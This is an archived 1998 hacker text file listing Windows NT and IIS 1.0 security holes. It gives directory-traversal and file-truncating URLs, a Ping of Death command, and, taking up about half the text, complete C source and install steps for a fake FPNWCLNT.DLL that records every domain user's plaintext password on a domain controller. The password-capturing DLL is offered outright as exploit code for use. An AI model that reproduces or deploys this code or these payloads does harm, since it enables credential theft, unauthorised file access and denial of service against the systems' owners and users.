home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / nt / ntbugs.txt < prev    next >
Text File  |  1998-03-25  |  4KB  |  124 lines

  1. Problem:
  2.  
  3. Internet Information Server 1.0 (IIS) allows the use of batch files as CGI applications. Using batch files as CGI applications
  4. exposed several security issues in IIS because the batch file processes run in the context of the full Windows NT console
  5. command processor (cmd.exe). 
  6.  
  7. Problem:
  8.  
  9. Anonymous users have same access rights as Domain Users.
  10.  
  11. Installing IIS on a PDC (typical) results in IUSR_<nodename> account becoming member of 'Domain Users'. This gives
  12. anonymous guests the access rights of 'Domain Users' group instead of 'Guests' group.
  13.  
  14. Problem:
  15.  
  16. A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root
  17. directory.
  18.  
  19. A URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.
  20.  
  21. By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or
  22. downloaded by wandering guests.
  23.  
  24. Problem:
  25.  
  26. A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.
  27.  
  28. If the file 'target.bat' exists, the file will be truncated.
  29.  
  30. Problem:
  31.  
  32. A URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.
  33.  
  34. Problem:
  35.  
  36. The registry includes a default entry for <HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa> which has a value
  37. <Notification Packages: REG_MULTI_SZ: FPNWCLNT>. This is a DLL which normally exists only in an Netware environment. A false
  38. FPNWCLNT.DLL can be stored in the %systemroot%\system32 directory which collects passwords in plain text.
  39.  
  40. Comple the below C code and .DEF file into a DLL called FPNWCLNT.DLL and copy it to %systemroot%\system32.
  41.  
  42. Reboot the machine. Password changes and new user creation are funnelled through this DLL with the following information, Username,
  43. Plaintext password, RID (relative domain id).
  44.  
  45. Install on the Primary domain controller for an NT domain, and it will capture all users passwords in plain text. 
  46.  
  47. Exploit code follows:
  48.  
  49. -----------------cut here-------FPNWCLNT.c-----------------------------
  50. #include <windows.h>
  51. #include <stdio.h>
  52. #include <stdlib.h>
  53.  
  54. struct UNI_STRING {
  55. USHORT len;
  56. USHORT maxlen;
  57. WCHAR *buff;
  58. };
  59.  
  60. static HANDLE fh;
  61.  
  62. BOOLEAN __stdcall InitializeChangeNotify ()
  63. {
  64. DWORD wrote;
  65. fh = CreateFile("C:\\temp\\pwdchange.out",
  66. GENERIC_WRITE,
  67. FILE_SHARE_READ|FILE_SHARE_WRITE,
  68. 0,
  69. CREATE_ALWAYS,
  70. FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
  71. 0);
  72. WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  73. return TRUE;
  74. }
  75.  
  76. LONG __stdcall PasswordChangeNotify (
  77. struct UNI_STRING *user,
  78. ULONG rid,
  79. struct UNI_STRING *passwd
  80. )
  81. {
  82. DWORD wrote;
  83. WCHAR wbuf[200];
  84. char buf[512];
  85. char buf1[200];
  86. DWORD len;
  87.  
  88. memcpy(wbuf, user->buff, user->len);
  89. len = user->len/sizeof(WCHAR);
  90. wbuf[len] = 0;
  91. wcstombs(buf1, wbuf, 199);
  92. sprintf(buf, "User = %s : ", buf1);
  93. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  94.  
  95. memcpy(wbuf, passwd->buff, passwd->len);
  96. len = passwd->len/sizeof(WCHAR);
  97. wbuf[len] = 0;
  98. wcstombs(buf1, wbuf, 199);
  99. sprintf(buf, "Password = %s : ", buf1);
  100. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  101.  
  102. sprintf(buf, "RID = %x\n", rid);
  103. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  104.  
  105. return 0L;
  106. }
  107. -----------------------end of FPNWCLNT.c------------------------------------
  108.  
  109. Problem:
  110.  
  111. Large packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51
  112. systems:
  113.  
  114.      STOP: 0X0000001E
  115.      KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
  116.  
  117.      -OR-
  118.  
  119.      STOP: 0x0000000A
  120.      IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
  121.  
  122. NT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.
  123.  
  124.